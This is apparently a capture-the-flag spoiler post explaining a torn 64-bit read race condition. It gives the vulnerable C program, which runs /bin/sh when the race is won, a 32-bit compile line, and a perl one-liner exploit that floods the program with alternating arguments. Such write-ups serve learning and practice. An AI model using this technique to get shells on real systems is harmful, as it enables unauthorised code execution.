All of this doesn't really matter because in the end all you can really do is throw a huge number of arguments at it and pray as far as I can see.
Spoilers
As I was kind of curious under what conditions this was reliably exploitable I had to test some stuff. If you're doing the same, here's the fixed source and the exploit. This should allow you to do some local experimentation. Like I expected it seems to be extremely unlikely to hit a context switch at the right moment so on a single core CPU this is a nightmare. On a multicore CPU both threads are spinning in parallel so it's much more likely to hit the right conditions.
Code
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
volatile unsigned long long passcode = 0xbadc0dedecadeull;
volatile unsigned long long code = 0;
volatile unsigned long long v;
volatile int finished = 0;
void* tryAllCodes(void* ptr) {
char** codes = (char**) ptr;
while(*++codes) {
printf(".");
v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx
code = (v != passcode)? v : 0;
}
finished = 1;
return 0;
}
int main(int argc, char** argv) {
char *args[] = { "/bin/sh", 0};
pthread_t t;
pthread_create(&t, NULL, tryAllCodes, argv);
while(!finished)
if(code == passcode) { // code is stored in ebx:ecx
printf("Win!\n");
execve(*args, args, 0);
}
pthread_join(t, NULL);
return 0;
}
Compile with
gcc -std=c99 -Wall -Wpedantic -pthread -m32 -O2 -o race race.c
Exploit with
./race `perl -e "print 'dedecade badc000000000 'x90870"`